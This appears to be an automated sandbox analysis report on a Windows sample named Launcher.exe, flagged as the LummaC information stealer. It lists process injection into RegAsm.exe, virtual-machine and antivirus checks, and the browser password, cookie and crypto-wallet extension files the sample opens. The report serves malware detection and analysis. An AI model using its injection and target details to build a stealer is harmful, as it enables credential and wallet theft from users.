Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0052DEF0	0_2_0052DEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421970	2_2_00421970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041E110	2_2_0041E110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F1B0	2_2_0040F1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00412253	2_2_00412253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00425B30	2_2_00425B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00420BEC	2_2_00420BEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404E90	2_2_00404E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004117FB	2_2_004117FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00433790	2_2_00433790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041E054	2_2_0041E054
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401000	2_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409140	2_2_00409140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407174	2_2_00407174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432910	2_2_00432910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043C120	2_2_0043C120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042292B	2_2_0042292B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004149E6	2_2_004149E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042319C	2_2_0042319C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043A9B2	2_2_0043A9B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00437A60	2_2_00437A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042127D	2_2_0042127D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406222	2_2_00406222
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415232	2_2_00415232
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00420280	2_2_00420280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421A95	2_2_00421A95
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00423361	2_2_00423361
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043A300	2_2_0043A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043C440	2_2_0043C440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00405C04	2_2_00405C04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004254C0	2_2_004254C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004084FB	2_2_004084FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004044BF	2_2_004044BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BD07	2_2_0040BD07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042A5CC	2_2_0042A5CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043AD80	2_2_0043AD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406DB0	2_2_00406DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401644	2_2_00401644
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EE60	2_2_0040EE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041FE25	2_2_0041FE25
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407628	2_2_00407628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00405EE6	2_2_00405EE6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043A6B0	2_2_0043A6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406720	2_2_00406720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401FA0	2_2_00401FA0

Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 00539400 appears 175 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 00508FD0 appears 49 times
Source: C:\Users\user\Desktop\Launcher.exe	Code function: String function: 00533310 appears 82 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408F00 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040EFF0 appears 175 times

Source: Launcher.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00428D80 CoCreateInstance,

2_2_00428D80

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6552:120:WilError_03

Source: Launcher.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Launcher.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Launcher.exe

ReversingLabs: Detection: 57%

Source: unknown	Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\Launcher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Launcher.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Launcher.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0050879F push ecx; ret

0_2_005087B2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6436	Thread sleep time: -90000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6460	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_005185E9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_005185E9

Source: RegAsm.exe, 00000002.00000002.1789255980.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+E
Source: RegAsm.exe, 00000002.00000002.1789143913.0000000000A46000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1789255980.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00438D50 LdrInitializeThunk,

2_2_00438D50

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_00508DFE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00508DFE

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_005105AA mov ecx, dword ptr fs:[00000030h]		0_2_005105AA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00513E62 mov eax, dword ptr fs:[00000030h]		0_2_00513E62

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_00519720 GetProcessHeap,

0_2_00519720

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00508DFE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00508DFE
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0050CDE3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0050CDE3
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00508F5A SetUnhandledExceptionFilter,	0_2_00508F5A
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00509015 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00509015

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Launcher.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0147018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0147018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Launcher.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 75D008	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_00508BF5 cpuid

0_2_00508BF5

Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0051B338
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_0051B533
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_0051B5DA
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_0051B625
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_0051B6C0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_005136E5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0051B74B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_0051B99E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0051BAC7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_0051BBCD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_00513C0B
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0051BC9C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_005083F3 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_005083F3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
